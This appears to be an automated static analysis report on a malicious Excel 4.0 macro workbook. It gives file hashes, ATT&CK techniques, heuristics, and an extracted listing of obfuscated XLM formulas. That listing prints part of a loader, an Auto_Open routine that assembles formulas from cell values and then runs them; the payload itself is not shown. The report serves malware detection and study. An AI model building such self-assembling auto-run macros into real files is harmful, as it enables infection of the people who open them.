Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cd0bdbd704b6b56f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:36:26 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: fa76f98b23c4171373a13c9b799b1317 SHA-1: ea56b810dc8368f012212154c628faf0b41249e4 SHA-256: cd0bdbd704b6b56f87523ef2f647ca9e2a42f45731fbf32076ce894a12252ad1
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry point, which is a known method for executing malicious code. The macro sheet contains formulas that call dangerous API functions, specifically 'RUN', suggesting it is designed to execute a payload. The absence of specific IOCs like URLs or hashes means the exact payload cannot be determined from this analysis alone.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6563 bytes
SHA-256: 10cb2968f178c4bc196541607d0a522c544d5200c6cf912f64574503a564a7b4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XJrgqyoa
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F163 
' 0018     20 LABEL : Cell Value, String Constant - BxPIB len=0 
' 0018     20 LABEL : Cell Value, String Constant - FTlQv len=0 
' 0018     23 LABEL : Cell Value, String Constant - gwherxzs len=0 
' 0018     24 LABEL : Cell Value, String Constant - hzqnChkNK len=0 
' 0018     20 LABEL : Cell Value, String Constant - IbbZv len=0 
' 0018     21 LABEL : Cell Value, String Constant - IRoThm len=0 
' 0018     25 LABEL : Cell Value, String Constant - KVYTMHbNsU len=0 
' 0018     21 LABEL : Cell Value, String Constant - kXKpYT len=0 
' 0018     24 LABEL : Cell Value, String Constant - lDbNzpBal len=0 
' 0018     25 LABEL : Cell Value, String Constant - OKUlEnPokw len=0 
' 0018     22 LABEL : Cell Value, String Constant - OZJoTSA len=0 
' 0018     23 LABEL : Cell Value, String Constant - pYSurGBL len=0 
' 0018     27 LABEL : Cell Value, String Constant - rbURFBkxdnMD len=0 
' 0018     27 LABEL : Cell Value, String Constant - ReozhmnyuzGe len=0 
' 0018     21 LABEL : Cell Value, String Constant - rFPtlS len=0 
' 0018     21 LABEL : Cell Value, String Constant - rMBZwc len=0 
' 0018     23 LABEL : Cell Value, String Constant - tddITarT len=0 
' 0018     21 LABEL : Cell Value, String Constant - URQeSR len=0 
' 0018     24 LABEL : Cell Value, String Constant - uVciVXTzs len=0 
' 0018     27 LABEL : Cell Value, String Constant - xEffglQHNsnq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XJrgqyoa,F74,"SET.NAME("BxPIB",VALUE("0"))",""
'  XJrgqyoa,F78,"SET.NAME("hzqnChkNK",BxPIB)",""
'  XJrgqyoa,F80,"SET.NAME("rbURFBkxdnMD",BxPIB)",""
'  XJrgqyoa,F83,"SET.NAME("IbbZv",COUNTA(rFPtlS))",""
'  XJrgqyoa,F86,"SET.NAME("tddITarT",COUNTA(uVciVXTzs))",""
'  XJrgqyoa,F89,[],""
'  XJrgqyoa,F91,"SET.NAME("rMBZwc","")",""
'  XJrgqyoa,F95,"hzqnChkNK",""
'  XJrgqyoa,F97,"SET.NAME("gwherxzs",HLOOKUP("*",rFPtlS,hzqnChkNK,FALSE))",""
'  XJrgqyoa,F101,"OZJoTSA",""
'  XJrgqyoa,F106,"SET.NAME("ReozhmnyuzGe",BxPIB)",""
'  XJrgqyoa,F110,[],""
'  XJrgqyoa,F115,"ReozhmnyuzGe",""
'  XJrgqyoa,F119,"OKUlEnPokw",""
'  XJrgqyoa,F124,"URQeSR",""
'  XJrgqyoa,F126,"FTlQv",""
'  XJrgqyoa,F131,"SET.NAME("kXKpYT",VALUE(HLOOKUP("*",uVciVXTzs,FTlQv,FALSE)))",""
'  XJrgqyoa,F133,"xEffglQHNsnq",""
'  XJrgqyoa,F138,"rMBZwc",""
'  XJrgqyoa,F141,"rbURFBkxdnMD",""
'  XJrgqyoa,F145,NEXT(),""
'  XJrgqyoa,F148,"lDbNzpBal",""
'  XJrgqyoa,F151,"SET.NAME("f",INT(T(FORMULA(T(rMBZwc)&"",""&T(lDbNzpBal)))))",""
'  XJrgqyoa,F155,"IRoThm",""
'  XJrgqyoa,F157,NEXT(),""
'  XJrgqyoa,F160,RETURN(),""
'  XJrgqyoa,F190,"SET.NAME("KVYTMHbNsU",F74)",""
'  XJrgqyoa,F193,"rFPtlS",""
'  XJrgqyoa,F196,"SET.NAME("uVciVXTzs",R80C12)",""
'  XJrgqyoa,F199,"SET.NAME("IRoThm",206)",""
'  XJrgqyoa,F203,"SET.NAME("pYSurGBL",6)",""
'  XJrgqyoa,F205,KVYTMHbNsU(),""
'  XJrgqyoa,F206,HALT(),""